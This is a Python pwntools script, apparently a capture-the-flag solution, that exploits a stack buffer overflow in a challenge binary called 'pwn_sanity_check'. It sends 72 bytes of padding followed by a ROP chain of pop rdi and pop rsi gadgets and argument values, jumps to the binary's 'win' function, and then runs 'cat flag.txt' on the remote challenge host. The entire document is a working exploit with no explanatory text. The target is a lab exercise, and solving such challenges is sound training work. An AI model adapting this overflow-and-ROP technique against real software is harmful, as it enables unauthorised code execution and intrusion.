exploit.py

#!/usr/bin/env python3
import pwn

host = "dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io"
port = 7480
target = "pwn_sanity_check"


def exploit(remote):
    if remote:
        pr = pwn.connect(host, port)
    else:
        pr = pwn.process(target)

    try:
        elf = pwn.ELF(target)
        rop = pwn.ROP(elf)
        pop_rdi = pwn.p64(rop.find_gadget(['pop rdi', 'ret']).address)
        pop_rsi = pwn.p64(rop.find_gadget(['pop rsi', 'pop r15', 'ret']).address)
        print(pop_rdi)
        print(pop_rsi)

        payload = b"A"*72
        payload += pop_rdi
        payload += pwn.p64(0xdeadbeef)
        payload += pop_rsi
        payload += pwn.p64(0x1337c0de)
        payload += pwn.p64(0x1337c0de)
        payload += pwn.p64(elf.sym['win'])

        print(payload, len(payload))
        pr.sendafter("joke\n", payload)
        pr.sendline()
        pr.sendline("cat flag.txt")
        print(pr.readall(2))
    except Exception as e:
        print(e)
    finally:
        pr.close()

exploit(True)